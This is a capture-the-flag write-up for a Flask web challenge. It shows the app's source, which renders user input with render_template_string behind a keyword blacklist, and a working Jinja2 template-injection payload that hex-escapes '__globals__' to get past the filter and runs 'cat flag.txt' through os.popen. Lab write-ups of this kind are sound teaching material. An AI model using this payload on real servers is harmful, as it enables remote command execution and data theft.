Category: Web

Points: 100

Description:


Build a website


Website is made of flask library which is a python framework to make web applications. We are also given the source code of the website.

app.py

#!/usr/bin/env python3

from flask import Flask, render_template_string, request, redirect, url_for
from base64 import b64encode, b64decode

app = Flask(__name__)

@app.route('/')
def index():
  # i dont remember how to return a string in flask so
  # here goes nothing :rooNervous:
  return render_template_string(open('templates/index.html').read())

@app.route('/backend')
def backend():
  website_b64 = b64encode(request.args['content'].encode())
  return redirect(url_for('site', content=website_b64))

@app.route('/site')
def site():
  content = b64decode(request.args['content']).decode()
  #prevent xss
  blacklist = ['script', 'iframe', 'cookie', 'document', "las", "bas", "bal", ":roocursion:"] # no roocursion allowed
  for word in blacklist:
    if word in content:
      # this should scare them away
      content = "*** stack smashing detected ***: python3 terminated"
  csp = '''<head>\n<meta http-equiv="Content-Security-Policy" content="default-src 'none'">\n</head>\n'''
  return render_template_string(csp + content)

After interaction with the website and going through the code. The Website is vulnerable to server-side template injection where user inputs are not escaped properly or filtered.

By injection a simple jinj2 template, we can see that our input was being executed and rendered.

build a website 2

Output:

build a website 3

Also if any of the string from blacklist is present in the paylod it will redirect to us on an error.

Build a website Error

To bypass the filters we can encode our string to byte using '\x' which is supported in python.

Final payload:

{{request['application']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['__builtins__']['__import__']('os')['popen']('cat flag.txt').read()}}

Flag:

ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}